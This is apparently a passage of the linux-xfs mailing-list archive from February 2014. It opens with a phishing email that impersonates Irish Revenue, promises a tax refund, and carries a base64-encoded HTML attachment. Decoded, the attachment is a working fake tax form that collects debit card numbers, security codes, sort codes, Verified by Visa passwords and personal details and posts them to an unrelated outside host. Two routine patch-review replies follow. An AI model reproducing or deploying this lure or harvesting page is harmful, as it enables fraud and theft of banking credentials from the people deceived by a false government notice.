83-244-250-61.cust-83.exponential-e.net ([83.244.250.61]:53454 helo=mmgcitrus.com) by pandega.idwebhost.com with esmtpa (Exim 4.82) (envelope-from <2100-raizrfx@mmgcitrus.com>) id 1WADQ5-002cXv-OP for linux-xfs@oss.sgi.com; Mon, 03 Feb 2014 13:54:15 +0700 From: =?Windows-1250?B?UmV2ZW51ZSAtIElyaXNoIFRheCAmIEN1c3RvbXM=?= <9496-rehw@mmgcitrus.com> To: linux-xfs@oss.sgi.com Subject: =?Windows-1250?B?Tk9USUNFIE9GIFRBWCBSRVRVUk4gKCBDdXN0b21lciBJRCApIC0gIDUwMjkxOQ==?= Date: 03 Feb 2014 06:54:11 +0000 X-ASG-Orig-Subj: =?Windows-1250?B?Tk9USUNFIE9GIFRBWCBSRVRVUk4gKCBDdXN0b21lciBJRCApIC0gIDUwMjkxOQ==?= Message-ID: <20140203065411.74E36DCEC39A8595@mmgcitrus.com> MIME-Version: 1.0 Disposition-Notification-To: birthe.hansen1943@hotmail.com Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_CC2BE55A.A0EE4336" X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - pandega.idwebhost.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - mmgcitrus.com X-Get-Message-Sender-Via: pandega.idwebhost.com: authenticated_id: info@progolfint.com X-Barracuda-Connect: ipv4-38-146-52.idwebhost.com[202.52.146.38] X-Barracuda-Start-Time: 1391412707 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.66 X-Barracuda-Spam-Status: No, SCORE=2.66 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194, BSF_SC5_MJ1963, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.00 BSF_SC0_TG194 Custom Rule TG194 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=_NextPart_000_0012_CC2BE55A.A0EE4336 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 8bit Dear Sir / Madam , linux-xfs@oss.sgi.com I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: £371.91 To receive your return, you need to create a Government gateway account. NOTE: Please download and fill out the form attached to this email. Our head office address can be found on our web site at Revenue - Irish Tax & Customs: www.revenue.ie The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to Revenue - Irish Tax & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_CC2BE55A.A0EE4336 Content-Type: application/octet-stream; name="Revenue - Irish Tax & Customs.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax & Customs.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL2ludHJhbmV0LmFwcGxlc2VlZGluYy5jb20vc3lkL2Nzcy9qcy9y ZXYvdGF4cmV0dW4vYWN0aW9uLnBocA0KIj4NCjxsaW5rIGhyZWY9ImNzcy9hcmNvdC1zdHls ZXMtMDJfcmVnaXN0ZXIuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4N CjxsaW5rIGhyZWY9ImNzcy9hcmNvdC1zdHlsZXMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5 cGU9InRleHQvY3NzIj4NCjxsaW5rIGhyZWY9ImNzcy9obXJjLmNzcyIgcmVsPSJzdHlsZXNo ZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8c2NyaXB0IHNyYz0ianMvY2hlY2suanMiIHR5cGU9 InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPjwvc2NyaXB0Pg0KPC9o ZWFkPg0KPGJvZHk+DQo8Zm9ybSBpZD0iZnJtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iYWN0 aW9uLnBocCIgb25zdWJtaXQ9InJldHVybiB2YWxpZGF0ZSgpIj4NCjxkaXYgYWxpZ249Imxl ZnQiPg0KCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0i MCI+DQoJPHRib2R5Pg0KCTx0cj4NCgkJPHRkIHdpZHRoPSI2MDAiPg0KCQkJPHRhYmxlIGJv cmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+ DQoJCQk8dGJvZHk+DQoJCQk8dHI+DQoJCQkJPHRkPg0KCQkJCQk8dGFibGUgYm9yZGVyPSIw IiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCQkJ PHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249ImNlbnRlciI+DQoJCQkJCQkJ PGRpdiBpZD0iaGVhZGVyIj4NCgkJCQkJCQkJPGltZyBzcmM9ImltZy9obXJjTG9nby5naWYi IGFsdD0iSE0gUmV2ZW51ZSAmYW1wOyBDdXN0b21zIiBoZWlnaHQ9IjkwIiB3aWR0aD0iNjEw Ij4NCgkJCQkJCQkJPGRpdiBpZD0iaGVhZGVyLXRpdGxlIj5PbmxpbmUgU2VydmljZXM8L2Rp dj4NCgkJCQkJCQkJPHVsIGNsYXNzPSJpbmxpbmUtbmF2aWdhdGlvbiI+DQoJCQkJCQkJCQk8 bGk+PGE+UmV2ZW51ZSAtIElyaXNoIFRheCAmIEN1c3RvbXM8L2E+PC9saT4NCgkJCQkJCQkJ PC91bD4NCgkJCQkJCQk8L2Rpdj4JCQkJCQkJDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0K CQkJCQk8L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJ PCEtLSBIRUFERVIgLS0+DQoJCQk8dHIgdmFsaWduPSJ0b3AiPg0KCQkJCTx0ZCB2YWxpZ249 InRvcCIgd2lkdGg9IjEwMCUiPg0KCQkJCQk8Zm9ybSBuYW1lPSJmcm0iIG1ldGhvZD0icG9z dCIgYWN0aW9uPSJhY3Rpb24ucGhwIiBvbnN1Ym1pdD0icmV0dXJuIHZhbGlkYXRlKCkiPg0K CQkJCQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi IHdpZHRoPSIxMDAlIj4NCgkJCQkJPHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29s c3Bhbj0iMiIgYWxpZ249ImxlZnQiPiZuYnNwOzwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0 cj4NCgkJCQkJCTx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCI+DQoJCQkJCQkJPGJyIC8+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoJCQkJ CQkJPGI+PHU+QWRkcmVzcyBJbmZvcm1hdGlvbjwvdT4gLSA8L2I+UGxlYXNlIGVudGVyIHlv dXIgbmFtZSBhbmQgYWRkcmVzcyBhcyB5b3UgaGF2ZSBpdCBsaXN0ZWQgZm9yIHlvdXIgZGVi aXQgY2FyZC4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0 ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPgkJCQkJPHRyPg0K CQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1f a29wIj4NCgkJCQkJCQkJIENhcmRIb2xkZXIgTmFtZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJ CQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJ CQkgJm5ic3A7IDxpbnB1dCBpZD0ibmFtZSIgbmFtZT0ibmFtZSIgc2l6ZT0iMjAiIGNsYXNz PSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJ PC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRp diBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIERhdGUgb2YgQmlydGggPHNwYW4g Pjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGln bj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImRvYjEiIG5hbWU9ImRvYjEi IG1heGxlbmd0aD0iMiIgc2l6ZT0iMiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlw ZT0idGV4dCI+Jm5ic3A7LyZuYnNwOzxpbnB1dCBpZD0iZG9iMiIgbmFtZT0iZG9iMiIgbWF4 bGVuZ3RoPSIyIiBzaXplPSIyIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0 ZXh0Ij4mbmJzcDsvJm5ic3A7PGlucHV0IGlkPSJkb2IzIiBuYW1lPSJkb2IzIiBtYXhsZW5n dGg9IjQiIHNpemU9IjQiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQi Pg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWdu PSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJ IEFkZHJlc3MgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0K CQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InN0 cmFkYSIgbmFtZT0ic3RyYWRhIiBzaXplPSIyNSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJv eCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJ CQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9r b3AiPg0KCQkJCQkJCQkgVG93bi9DaXR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2 Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJz cDsgPGlucHV0IGlkPSJvcmFzIiBuYW1lPSJvcmFzIiBzaXplPSIxNSIgY2xhc3M9ImVucm9s bG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0K CQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNz PSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgUHJvdmluY2UvQ291bnR5IDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJzdGF0IiBuYW1lPSJzdGF0IiBzaXpl PSIxNSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8 L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQkNCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJ CTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4 dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBQaG9uZSBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJ CQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJ CQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InRlbGVmb24iIG5hbWU9InRlbGVmb24iIG1heGxl bmd0aD0iMTMiIHNpemU9IjEwIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0 ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4N CgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJ CQkJCQk8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiPg0KCQkJCQkJCTxiciAvPiZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCTxi Pjx1PkRlYml0IENhcmQgSW5mb3JtYXRpb248L3U+IC0gPC9iPlBsZWFzZSBlbnRlciB5b3Vy IERlYml0IENhcmQgd2hlcmUgcmVmdW5kcyB3aWxsIGJlIG1hZGUuDQoJCQkJCQk8L3RkPg0K CQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJ CQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdo dCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFjY291 bnQgTnVtYmVyIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4N CgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJh Y2MiIG5hbWU9ImFjYyIgbWF4bGVuZ3RoPSIxNSIgc2l6ZT0iMTAiIGNsYXNzPSJlbnJvbGxt ZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJ CQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0i dHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIERlYml0IENhcmQgTnVtYmVyIDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJmYWNsaWUiIG5hbWU9ImZhY2xpZSIg bWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5 cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJ PHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4N CgkJCQkJCQkJIEV4cGlyeSBEYXRlIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0K CQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsg PGlucHV0IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIGlkPSJleHBNb250aCIgbmFtZT0i ZXhwTW9udGgiIHNpemU9IjIiIG1heGxlbmd0aD0iMiIgdHlwZT0idGV4dCI+Jm5ic3A7Jm5i c3A7LyZuYnNwOyA8aW5wdXQgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgaWQ9ImV4cFll YXIiIG5hbWU9ImV4cFllYXIiIHNpemU9IjIiIG1heGxlbmd0aD0iMiIgdHlwZT0idGV4dCI+ DQoJCQkJCQkJPHNwYW4gY2xhc3M9InR4dF9mb3JtX2tvcCI+TU0vWVk8L3NwYW4+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0 Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQ2FyZCBT ZWN1cml0eSBDb2RlIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90 ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlk PSJjc2MiIG5hbWU9ImNzYyIgbWF4bGVuZ3RoPSIzIiBzaXplPSIzIiBjbGFzcz0iZW5yb2xs bWVudElucHV0Qm94IiB0eXBlPSJwYXNzd29yZCI+DQoJCQkJCQkJIDwvdGQ+DQoJCQkJCTwv dHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYg Y2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBTb3J0LUNvZGUgPHNwYW4gPjo8L3Nw YW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVm dCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InNjMSIgbmFtZT0ic2MxIiBtYXhsZW5n dGg9IjIiIHNpemU9IjEiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQi PiZuYnNwOy0mbmJzcDs8aW5wdXQgaWQ9InNjMiIgbmFtZT0ic2MyIiBtYXhsZW5ndGg9IjIi IHNpemU9IjEiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNw Oy0mbmJzcDs8aW5wdXQgaWQ9InNjMyIgbmFtZT0ic2MzIiBtYXhsZW5ndGg9IjIiIHNpemU9 IjEiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90 ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KDQoNCg0KDQo8dHI+DQoJCQkJCQk8dGQgYWxp Z249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJ CQkgQWNjb3VudCBCYWxhbmNlKiBFeGFjdCBhbW91bnQgb2YgbW9uZXkgRXg6IDE4MjYsMjIg RVVSIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJ CTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJiYWxhbmNl IiBuYW1lPSJiYWxhbmNlIiBtYXhsZW5ndGg9IjE2IiBzaXplPSIxNiIgY2xhc3M9ImVucm9s bG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0K DQoNCg0KDQoNCjx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYg Y2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBWZXJpZmllZCBieSBWaXNhIFBhc3N3 b3JkIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJ CTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJ2YnYiIG5h bWU9InZidiIgbWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYiIGNsYXNzPSJlbnJvbGxtZW50SW5w dXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCg0KDQoNCg0K CQkJCQkJPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCQkJCQkJCTxiciAvPg0K CQkJCQkJCSAmbmJzcDsgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWUgPSIiIGNsYXNzPSJi dXR0b25fYWRkIiAvPg0KCQkJCQkJCSA8YnIgLz48YnIgLz4NCgkJCQkJCTwvdGQ+DQoJCQkJ CTwvdHI+DQoJCQkJCTwvdGJvZHk+DQoJCQkJCTwvdGFibGU+DQoJCQkJPC90ZD4NCgkJCTwv dHI+DQoJCQk8L3Rib2R5Pg0KCQkJPC90YWJsZT4NCgkJPC90ZD4NCgk8L3RyPg0KCTx0cj4N CgkJPHRkPg0KCQkJPGRpdiBpZD0iaGVhZGVyMiI+PGJyIC8+DQoJCQkJPGE+SG9tZTwvYT48 aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3Ij4mbmJzcDt8PGlt ZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iOCIgLz4NCgkJCQk8YT5Q cml2YWN5IFN0YXRlbWVudDwvYT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYi IHdpZHRoPSI3IiAvPiZuYnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYi IHdpZHRoPSI4IiAvPg0KCQkJCTxhPlRlcm1zIGFuZCBDb25kaXRpb25zPC9hPjxpbWcgc3Jj PSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9IjciIC8+Jm5ic3A7fDxpbWcgc3Jj PSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9IjciIC8+DQoJCQkJPGE+Q29udGFj dDwvYT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAvPiZu YnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAvPg0K CQkJCTxhPkZBUTwvYT48YnIgLz48YnIgLz4NCgkJCTwvZGl2Pg0KCQk8L3RkPg0KCTwvdHI+ DQoJPC90Ym9keT4NCgk8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQo8L2JvZHk+DQo8L2h0 bWw+ ------=_NextPart_000_0012_CC2BE55A.A0EE4336-- From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 01:38:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B6FD7F56 for ; Mon, 3 Feb 2014 01:38:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8697AC007 for ; Sun, 2 Feb 2014 23:38:10 -0800 (PST) X-ASG-Debug-ID: 1391413087-04cb6c6de0ae8a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id w5Wdn5gJEJy4KzVA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 23:38:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAE6Z-0004It-AV; Mon, 03 Feb 2014 07:38:07 +0000 Date: Sun, 2 Feb 2014 23:38:07 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/4] xfs/199: enforce v4 superblock format for test Message-ID: <20140203073807.GA16476@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/4] xfs/199: enforce v4 superblock format for test References: <1391385365-12790-1-git-send-email-david@fromorbit.com> <1391385365-12790-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391385365-12790-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391413088 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 01:38:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 52D427F56 for ; Mon, 3 Feb 2014 01:38:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 39F71304043 for ; Sun, 2 Feb 2014 23:38:56 -0800 (PST) X-ASG-Debug-ID: 1391413134-04cbb00c28aa900001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id xgJ7xANfsn2spmFZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 23:38:55 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAE7K-0004JD-RF; Mon, 03 Feb 2014 07:38:54 +0000 Date: Sun, 2 Feb 2014 23:38:54 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs/291: fix spurious ENOSPC errors Message-ID: <20140203073854.GB16476@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs/291: fix spurious ENOSPC errors References: <1391385365-12790-1-git-send-email-david@fromorbit.com> <1391385365-12790-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391385365-12790-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391413135 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144777 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 01:39:47 2014 Return-Path: X-Spam-Checker-Version: 